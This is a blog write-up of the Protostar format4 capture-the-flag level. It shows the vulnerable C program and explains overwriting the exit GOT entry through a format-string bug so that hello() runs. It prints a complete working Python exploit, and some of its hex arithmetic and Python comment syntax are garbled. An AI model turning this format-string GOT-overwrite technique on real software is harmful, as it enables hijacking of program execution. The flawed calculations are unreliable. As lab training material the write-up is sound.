Hello everyone!
This is the blog post for the level 4 format level of Protostar, that is the last one.
This is the hint:
format4 looks at one method of redirecting execution in a process.
Hints: objdump -TR is your friend
This level is at /opt/protostar/bin/format4
And this is the code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
Before I start, I have to say that I had no idea about GOT. After reading some material about this topic, I’ve found this video that worth gold:
As I was really far of the knowledge needed to solve this, I decided to follow this video almost step by step. It’s really well explained:
First of all, I had to extract some interesting addresses, for that purpose I’ve used gdb:
Our goal is to change the value of the global offset table that is in 0x8049724. We need to replace it for the value of the function hello that is: 0x80484b4.
I’ve followed the video, and before changing this value by exploiting the format string, I did this process using gdb.
This is useful to be able to understand the steps that what we need to do to solve this challenge.
In the image above, you can see that I’ve modified using gdb the value of the address 0x8049724 to the hello function, and I execute the never called function.
Now it’s time to to this in a real way. I’m going to go directly to the python exploit, if you have doubts about the previous steps, please check the blog posts for the last Protostar exercises that are in this blog.
import struct
HELLO = 0x80484b4 // desired value
EXIT_PLT = 0x8049724 // address where we want to put the value
def padding(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I",EXIT_PLT) // 4 last bytes of the address that we want to modify
exploit += struct.pack("I",EXIT_PLT+2) // 4 initial bytes of the address that we want to modify
exploit += "BBBBCCCC"
exploit += "%4$x" // Needs to be 84b4
exploit += "%4$n"
exploit += "%4$x" // Needs to be 0804
exploit += "%5$n"
print padding(exploit)
To generate the correct values I had to do some binary maths.
For the last 4 bytes:
I’ve got 8c that in decimal is 16.
And I want: 84b4 that in decimal is 33972.
So I need:
33972 – 16 = 33956
For the first 4 bytes:
I’ve got = 84bb that in decimal is 33979.
And I want: 0804 that in decimal is 2052.
So I need:
2052 – 33979 = -31927
Here I have a problem, the destination is smaller than the origin, but I can’t use negative numbers.
The solution is to try to reach 10804 instead, the first number will be part of the next byte.
So the destination is 18048 that in decimal is 67588.
So finally I need:
67588 – 33979 = 33609
But I don’t get the desired address, I’m just a bit below the correct value… I add 7 more and I use: 33616 and:
Just in case someone needs it, I copy here the final exploit:
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def padding(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%4$33616x"
exploit += "%5$n"
print padding(exploit)
It was a really interesting exercise. I hope that you enjoyed it, see you soon and happy hacking!